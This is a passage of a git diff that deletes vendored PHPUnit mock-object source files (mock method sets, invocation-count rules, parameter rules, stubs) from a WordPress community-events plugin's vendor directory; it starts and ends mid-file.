reference arguments - * or "..." for methods taking a variable number of arguments. - */ - if ($name === '$' || $name === '$...') { - $name = '$arg' . $i; - } - - $default = ''; - $reference = ''; - $typeDeclaration = ''; - - if (!$types[$i]->type()->isUnknown()) { - $typeDeclaration = $types[$i]->type()->asString() . ' '; - } - - if ($parameter->isPassedByReference()) { - $reference = '&'; - } - - if ($parameter->isVariadic()) { - $name = '...' . $name; - } elseif ($parameter->isDefaultValueAvailable()) { - $default = ' = ' . self::exportDefaultValue($parameter); - } elseif ($parameter->isOptional()) { - $default = ' = null'; - } - - $parameters[] = $typeDeclaration . $reference . $name . $default; - } - - return implode(', ', $parameters); - } - - /** - * Returns the parameters of a function or method. - * - * @throws ReflectionException - */ - private static function getMethodParametersForCall(ReflectionMethod $method): string - { - $parameters = []; - - foreach ($method->getParameters() as $i => $parameter) { - $name = '$' . $parameter->getName(); - - /* Note: PHP extensions may use empty names for reference arguments - * or "..." for methods taking a variable number of arguments. - */ - if ($name === '$' || $name === '$...') { - $name = '$arg' . $i; - } - - if ($parameter->isVariadic()) { - continue; - } - - if ($parameter->isPassedByReference()) { - $parameters[] = '&' . $name; - } else { - $parameters[] = $name; - } - } - - return implode(', ', $parameters); - } - - /** - * @throws ReflectionException - */ - private static function exportDefaultValue(ReflectionParameter $parameter): string - { - try { - $defaultValue = $parameter->getDefaultValue(); - - if (!is_object($defaultValue)) { - return (string) var_export($defaultValue, true); - } - - $parameterAsString = $parameter->__toString(); - - return (string) explode( - ' = ', - substr( - substr( - $parameterAsString, - strpos($parameterAsString, ' ') + strlen(' '), - ), - 0, - -2, - ), - )[1]; - // @codeCoverageIgnoreStart - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MockMethodSet.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MockMethodSet.php deleted file mode 100644 index 1c78963c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MockMethodSet.php +++ /dev/null @@ -1,45 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use function array_key_exists; -use function array_values; -use function strtolower; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class MockMethodSet -{ - /** - * @var MockMethod[] - */ - private $methods = []; - - public function addMethods(MockMethod ...$methods): void - { - foreach ($methods as $method) { - $this->methods[strtolower($method->getName())] = $method; - } - } - - /** - * @return MockMethod[] - */ - public function asArray(): array - { - return array_values($this->methods); - } - - public function hasMethod(string $methodName): bool - { - return array_key_exists(strtolower($methodName), $this->methods); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MockObject.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MockObject.php deleted file mode 100644 index 094decf4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MockObject.php +++ /dev/null @@ -1,27 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use PHPUnit\Framework\MockObject\Builder\InvocationMocker as BuilderInvocationMocker; -use PHPUnit\Framework\MockObject\Rule\InvocationOrder; - -/** - * @method BuilderInvocationMocker method($constraint) - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -interface MockObject extends Stub -{ - public function __phpunit_setOriginalObject($originalObject): void; - - public function __phpunit_verify(bool $unsetInvocationMocker = true): void; - - public function expects(InvocationOrder $invocationRule): BuilderInvocationMocker; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MockTrait.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MockTrait.php deleted file mode 100644 index 7c326988..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MockTrait.php +++ /dev/null @@ -1,54 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use function class_exists; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class MockTrait implements MockType -{ - /** - * @var string - */ - private $classCode; - - /** - * @var class-string - */ - private $mockName; - - /** - * @psalm-param class-string $mockName - */ - public function __construct(string $classCode, string $mockName) - { - $this->classCode = $classCode; - $this->mockName = $mockName; - } - - /** - * @psalm-return class-string - */ - public function generate(): string - { - if (!class_exists($this->mockName, false)) { - eval($this->classCode); - } - - return $this->mockName; - } - - public function getClassCode(): string - { - return $this->classCode; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MockType.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MockType.php deleted file mode 100644 index 6a03fb51..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/MockType.php +++ /dev/null @@ -1,21 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -interface MockType -{ - /** - * @psalm-return class-string - */ - public function generate(): string; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/AnyInvokedCount.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/AnyInvokedCount.php deleted file mode 100644 index f93e5686..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/AnyInvokedCount.php +++ /dev/null @@ -1,36 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject\Rule; - -use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class AnyInvokedCount extends InvocationOrder -{ - public function toString(): string - { - return 'invoked zero or more times'; - } - - public function verify(): void - { - } - - public function matches(BaseInvocation $invocation): bool - { - return true; - } - - protected function invokedDo(BaseInvocation $invocation): void - { - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/AnyParameters.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/AnyParameters.php deleted file mode 100644 index 61de7887..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/AnyParameters.php +++ /dev/null @@ -1,31 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject\Rule; - -use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class AnyParameters implements ParametersRule -{ - public function toString(): string - { - return 'with any parameters'; - } - - public function apply(BaseInvocation $invocation): void - { - } - - public function verify(): void - { - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/ConsecutiveParameters.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/ConsecutiveParameters.php deleted file mode 100644 index 9d3ab720..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/ConsecutiveParameters.php +++ /dev/null @@ -1,134 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject\Rule; - -use function count; -use function gettype; -use function is_iterable; -use function sprintf; -use PHPUnit\Framework\Constraint\Constraint; -use PHPUnit\Framework\Constraint\IsEqual; -use PHPUnit\Framework\Exception; -use PHPUnit\Framework\ExpectationFailedException; -use PHPUnit\Framework\InvalidParameterGroupException; -use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; -use SebastianBergmann\RecursionContext\InvalidArgumentException; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @deprecated - */ -final class ConsecutiveParameters implements ParametersRule -{ - /** - * @var array - */ - private $parameterGroups = []; - - /** - * @var array - */ - private $invocations = []; - - /** - * @throws Exception - */ - public function __construct(array $parameterGroups) - { - foreach ($parameterGroups as $index => $parameters) { - if (!is_iterable($parameters)) { - throw new InvalidParameterGroupException( - sprintf( - 'Parameter group #%d must be an array or Traversable, got %s', - $index, - gettype($parameters), - ), - ); - } - - foreach ($parameters as $parameter) { - if (!$parameter instanceof Constraint) { - $parameter = new IsEqual($parameter); - } - - $this->parameterGroups[$index][] = $parameter; - } - } - } - - public function toString(): string - { - return 'with consecutive parameters'; - } - - /** - * @throws ExpectationFailedException - * @throws InvalidArgumentException - */ - public function apply(BaseInvocation $invocation): void - { - $this->invocations[] = $invocation; - $callIndex = count($this->invocations) - 1; - - $this->verifyInvocation($invocation, $callIndex); - } - - /** - * @throws ExpectationFailedException - * @throws InvalidArgumentException - */ - public function verify(): void - { - foreach ($this->invocations as $callIndex => $invocation) { - $this->verifyInvocation($invocation, $callIndex); - } - } - - /** - * Verify a single invocation. - * - * @param int $callIndex - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - */ - private function verifyInvocation(BaseInvocation $invocation, $callIndex): void - { - if (!isset($this->parameterGroups[$callIndex])) { - // no parameter assertion for this call index - return; - } - - $parameters = $this->parameterGroups[$callIndex]; - - if (count($invocation->getParameters()) < count($parameters)) { - throw new ExpectationFailedException( - sprintf( - 'Parameter count for invocation %s is too low.', - $invocation->toString(), - ), - ); - } - - foreach ($parameters as $i => $parameter) { - $parameter->evaluate( - $invocation->getParameters()[$i], - sprintf( - 'Parameter %s for invocation #%d %s does not match expected ' . - 'value.', - $i, - $callIndex, - $invocation->toString(), - ), - ); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/InvocationOrder.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/InvocationOrder.php deleted file mode 100644 index 90aa4935..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/InvocationOrder.php +++ /dev/null @@ -1,47 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject\Rule; - -use function count; -use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; -use PHPUnit\Framework\MockObject\Verifiable; -use PHPUnit\Framework\SelfDescribing; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -abstract class InvocationOrder implements SelfDescribing, Verifiable -{ - /** - * @var BaseInvocation[] - */ - private $invocations = []; - - public function getInvocationCount(): int - { - return count($this->invocations); - } - - public function hasBeenInvoked(): bool - { - return count($this->invocations) > 0; - } - - final public function invoked(BaseInvocation $invocation) - { - $this->invocations[] = $invocation; - - return $this->invokedDo($invocation); - } - - abstract public function matches(BaseInvocation $invocation): bool; - - abstract protected function invokedDo(BaseInvocation $invocation); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtIndex.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtIndex.php deleted file mode 100644 index d56618cb..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtIndex.php +++ /dev/null @@ -1,76 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject\Rule; - -use function sprintf; -use PHPUnit\Framework\ExpectationFailedException; -use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4297 - * - * @codeCoverageIgnore - */ -final class InvokedAtIndex extends InvocationOrder -{ - /** - * @var int - */ - private $sequenceIndex; - - /** - * @var int - */ - private $currentIndex = -1; - - /** - * @param int $sequenceIndex - */ - public function __construct($sequenceIndex) - { - $this->sequenceIndex = $sequenceIndex; - } - - public function toString(): string - { - return 'invoked at sequence index ' . $this->sequenceIndex; - } - - public function matches(BaseInvocation $invocation): bool - { - $this->currentIndex++; - - return $this->currentIndex == $this->sequenceIndex; - } - - /** - * Verifies that the current expectation is valid. If everything is OK the - * code should just return, if not it must throw an exception. - * - * @throws ExpectationFailedException - */ - public function verify(): void - { - if ($this->currentIndex < $this->sequenceIndex) { - throw new ExpectationFailedException( - sprintf( - 'The expected invocation at index %s was never reached.', - $this->sequenceIndex, - ), - ); - } - } - - protected function invokedDo(BaseInvocation $invocation): void - { - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtLeastCount.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtLeastCount.php deleted file mode 100644 index afc880e1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtLeastCount.php +++ /dev/null @@ -1,64 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject\Rule; - -use PHPUnit\Framework\ExpectationFailedException; -use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class InvokedAtLeastCount extends InvocationOrder -{ - /** - * @var int - */ - private $requiredInvocations; - - /** - * @param int $requiredInvocations - */ - public function __construct($requiredInvocations) - { - $this->requiredInvocations = $requiredInvocations; - } - - public function toString(): string - { - return 'invoked at least ' . $this->requiredInvocations . ' times'; - } - - /** - * Verifies that the current expectation is valid. If everything is OK the - * code should just return, if not it must throw an exception. - * - * @throws ExpectationFailedException - */ - public function verify(): void - { - $count = $this->getInvocationCount(); - - if ($count < $this->requiredInvocations) { - throw new ExpectationFailedException( - 'Expected invocation at least ' . $this->requiredInvocations . - ' times but it occurred ' . $count . ' time(s).', - ); - } - } - - public function matches(BaseInvocation $invocation): bool - { - return true; - } - - protected function invokedDo(BaseInvocation $invocation): void - { - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtLeastOnce.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtLeastOnce.php deleted file mode 100644 index 645ed309..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtLeastOnce.php +++ /dev/null @@ -1,50 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject\Rule; - -use PHPUnit\Framework\ExpectationFailedException; -use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class InvokedAtLeastOnce extends InvocationOrder -{ - public function toString(): string - { - return 'invoked at least once'; - } - - /** - * Verifies that the current expectation is valid. If everything is OK the - * code should just return, if not it must throw an exception. - * - * @throws ExpectationFailedException - */ - public function verify(): void - { - $count = $this->getInvocationCount(); - - if ($count < 1) { - throw new ExpectationFailedException( - 'Expected invocation at least once but it never occurred.', - ); - } - } - - public function matches(BaseInvocation $invocation): bool - { - return true; - } - - protected function invokedDo(BaseInvocation $invocation): void - { - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtMostCount.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtMostCount.php deleted file mode 100644 index df81a613..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtMostCount.php +++ /dev/null @@ -1,64 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject\Rule; - -use PHPUnit\Framework\ExpectationFailedException; -use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class InvokedAtMostCount extends InvocationOrder -{ - /** - * @var int - */ - private $allowedInvocations; - - /** - * @param int $allowedInvocations - */ - public function __construct($allowedInvocations) - { - $this->allowedInvocations = $allowedInvocations; - } - - public function toString(): string - { - return 'invoked at most ' . $this->allowedInvocations . ' times'; - } - - /** - * Verifies that the current expectation is valid. If everything is OK the - * code should just return, if not it must throw an exception. - * - * @throws ExpectationFailedException - */ - public function verify(): void - { - $count = $this->getInvocationCount(); - - if ($count > $this->allowedInvocations) { - throw new ExpectationFailedException( - 'Expected invocation at most ' . $this->allowedInvocations . - ' times but it occurred ' . $count . ' time(s).', - ); - } - } - - public function matches(BaseInvocation $invocation): bool - { - return true; - } - - protected function invokedDo(BaseInvocation $invocation): void - { - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedCount.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedCount.php deleted file mode 100644 index a962118e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedCount.php +++ /dev/null @@ -1,102 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject\Rule; - -use function sprintf; -use PHPUnit\Framework\ExpectationFailedException; -use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class InvokedCount extends InvocationOrder -{ - /** - * @var int - */ - private $expectedCount; - - /** - * @param int $expectedCount - */ - public function __construct($expectedCount) - { - $this->expectedCount = $expectedCount; - } - - public function isNever(): bool - { - return $this->expectedCount === 0; - } - - public function toString(): string - { - return 'invoked ' . $this->expectedCount . ' time(s)'; - } - - public function matches(BaseInvocation $invocation): bool - { - return true; - } - - /** - * Verifies that the current expectation is valid. If everything is OK the - * code should just return, if not it must throw an exception. - * - * @throws ExpectationFailedException - */ - public function verify(): void - { - $count = $this->getInvocationCount(); - - if ($count !== $this->expectedCount) { - throw new ExpectationFailedException( - sprintf( - 'Method was expected to be called %d times, ' . - 'actually called %d times.', - $this->expectedCount, - $count, - ), - ); - } - } - - /** - * @throws ExpectationFailedException - */ - protected function invokedDo(BaseInvocation $invocation): void - { - $count = $this->getInvocationCount(); - - if ($count > $this->expectedCount) { - $message = $invocation->toString() . ' '; - - switch ($this->expectedCount) { - case 0: - $message .= 'was not expected to be called.'; - - break; - - case 1: - $message .= 'was not expected to be called more than once.'; - - break; - - default: - $message .= sprintf( - 'was not expected to be called more than %d times.', - $this->expectedCount, - ); - } - - throw new ExpectationFailedException($message); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/MethodName.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/MethodName.php deleted file mode 100644 index 53c63887..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/MethodName.php +++ /dev/null @@ -1,69 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject\Rule; - -use function is_string; -use PHPUnit\Framework\Constraint\Constraint; -use PHPUnit\Framework\ExpectationFailedException; -use PHPUnit\Framework\InvalidArgumentException; -use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; -use PHPUnit\Framework\MockObject\MethodNameConstraint; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class MethodName -{ - /** - * @var Constraint - */ - private $constraint; - - /** - * @param Constraint|string $constraint - * - * @throws InvalidArgumentException - */ - public function __construct($constraint) - { - if (is_string($constraint)) { - $constraint = new MethodNameConstraint($constraint); - } - - if (!$constraint instanceof Constraint) { - throw InvalidArgumentException::create(1, 'PHPUnit\Framework\Constraint\Constraint object or string'); - } - - $this->constraint = $constraint; - } - - public function toString(): string - { - return 'method name ' . $this->constraint->toString(); - } - - /** - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public function matches(BaseInvocation $invocation): bool - { - return $this->matchesName($invocation->getMethodName()); - } - - /** - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public function matchesName(string $methodName): bool - { - return (bool) $this->constraint->evaluate($methodName, '', true); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/Parameters.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/Parameters.php deleted file mode 100644 index c03671c7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/Parameters.php +++ /dev/null @@ -1,161 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject\Rule; - -use function count; -use function get_class; -use function sprintf; -use Exception; -use PHPUnit\Framework\Constraint\Constraint; -use PHPUnit\Framework\Constraint\IsAnything; -use PHPUnit\Framework\Constraint\IsEqual; -use PHPUnit\Framework\ExpectationFailedException; -use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; -use SebastianBergmann\RecursionContext\InvalidArgumentException; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Parameters implements ParametersRule -{ - /** - * @var Constraint[] - */ - private $parameters = []; - - /** - * @var BaseInvocation - */ - private $invocation; - - /** - * @var bool|ExpectationFailedException - */ - private $parameterVerificationResult; - - /** - * @throws \PHPUnit\Framework\Exception - */ - public function __construct(array $parameters) - { - foreach ($parameters as $parameter) { - if (!($parameter instanceof Constraint)) { - $parameter = new IsEqual( - $parameter, - ); - } - - $this->parameters[] = $parameter; - } - } - - public function toString(): string - { - $text = 'with parameter'; - - foreach ($this->parameters as $index => $parameter) { - if ($index > 0) { - $text .= ' and'; - } - - $text .= ' ' . $index . ' ' . $parameter->toString(); - } - - return $text; - } - - /** - * @throws Exception - */ - public function apply(BaseInvocation $invocation): void - { - $this->invocation = $invocation; - $this->parameterVerificationResult = null; - - try { - $this->parameterVerificationResult = $this->doVerify(); - } catch (ExpectationFailedException $e) { - $this->parameterVerificationResult = $e; - - throw $this->parameterVerificationResult; - } - } - - /** - * Checks if the invocation $invocation matches the current rules. If it - * does the rule will get the invoked() method called which should check - * if an expectation is met. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - */ - public function verify(): void - { - $this->doVerify(); - } - - /** - * @throws ExpectationFailedException - * @throws InvalidArgumentException - */ - private function doVerify(): bool - { - if (isset($this->parameterVerificationResult)) { - return $this->guardAgainstDuplicateEvaluationOfParameterConstraints(); - } - - if ($this->invocation === null) { - throw new ExpectationFailedException('Mocked method does not exist.'); - } - - if (count($this->invocation->getParameters()) < count($this->parameters)) { - $message = 'Parameter count for invocation %s is too low.'; - - // The user called `->with($this->anything())`, but may have meant - // `->withAnyParameters()`. - // - // @see https://github.com/sebastianbergmann/phpunit-mock-objects/issues/199 - if (count($this->parameters) === 1 && - get_class($this->parameters[0]) === IsAnything::class) { - $message .= "\nTo allow 0 or more parameters with any value, omit ->with() or use ->withAnyParameters() instead."; - } - - throw new ExpectationFailedException( - sprintf($message, $this->invocation->toString()), - ); - } - - foreach ($this->parameters as $i => $parameter) { - $parameter->evaluate( - $this->invocation->getParameters()[$i], - sprintf( - 'Parameter %s for invocation %s does not match expected ' . - 'value.', - $i, - $this->invocation->toString(), - ), - ); - } - - return true; - } - - /** - * @throws ExpectationFailedException - */ - private function guardAgainstDuplicateEvaluationOfParameterConstraints(): bool - { - if ($this->parameterVerificationResult instanceof ExpectationFailedException) { - throw $this->parameterVerificationResult; - } - - return (bool) $this->parameterVerificationResult; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/ParametersRule.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/ParametersRule.php deleted file mode 100644 index 70c47fe3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Rule/ParametersRule.php +++ /dev/null @@ -1,28 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject\Rule; - -use PHPUnit\Framework\ExpectationFailedException; -use PHPUnit\Framework\MockObject\Invocation as BaseInvocation; -use PHPUnit\Framework\MockObject\Verifiable; -use PHPUnit\Framework\SelfDescribing; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -interface ParametersRule extends SelfDescribing, Verifiable -{ - /** - * @throws ExpectationFailedException if the invocation violates the rule - */ - public function apply(BaseInvocation $invocation): void; - - public function verify(): void; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub.php deleted file mode 100644 index 2b032e2d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub.php +++ /dev/null @@ -1,26 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use PHPUnit\Framework\MockObject\Builder\InvocationStubber; - -/** - * @method InvocationStubber method($constraint) - * - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -interface Stub -{ - public function __phpunit_getInvocationHandler(): InvocationHandler; - - public function __phpunit_hasMatchers(): bool; - - public function __phpunit_setReturnValueGeneration(bool $returnValueGeneration): void; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ConsecutiveCalls.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ConsecutiveCalls.php deleted file mode 100644 index 8b01656f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ConsecutiveCalls.php +++ /dev/null @@ -1,57 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject\Stub; - -use function array_shift; -use function sprintf; -use PHPUnit\Framework\MockObject\Invocation; -use SebastianBergmann\Exporter\Exporter; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class ConsecutiveCalls implements Stub -{ - /** - * @var array - */ - private $stack; - - /** - * @var mixed - */ - private $value; - - public function __construct(array $stack) - { - $this->stack = $stack; - } - - public function invoke(Invocation $invocation) - { - $this->value = array_shift($this->stack); - - if ($this->value instanceof Stub) { - $this->value = $this->value->invoke($invocation); - } - - return $this->value; - } - - public function toString(): string - { - $exporter = new Exporter; - - return sprintf( - 'return user-specified value %s', - $exporter->export($this->value), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/Exception.php deleted file mode 100644 index aa9074eb..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/Exception.php +++ /dev/null @@ -1,46 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject\Stub; - -use function sprintf; -use 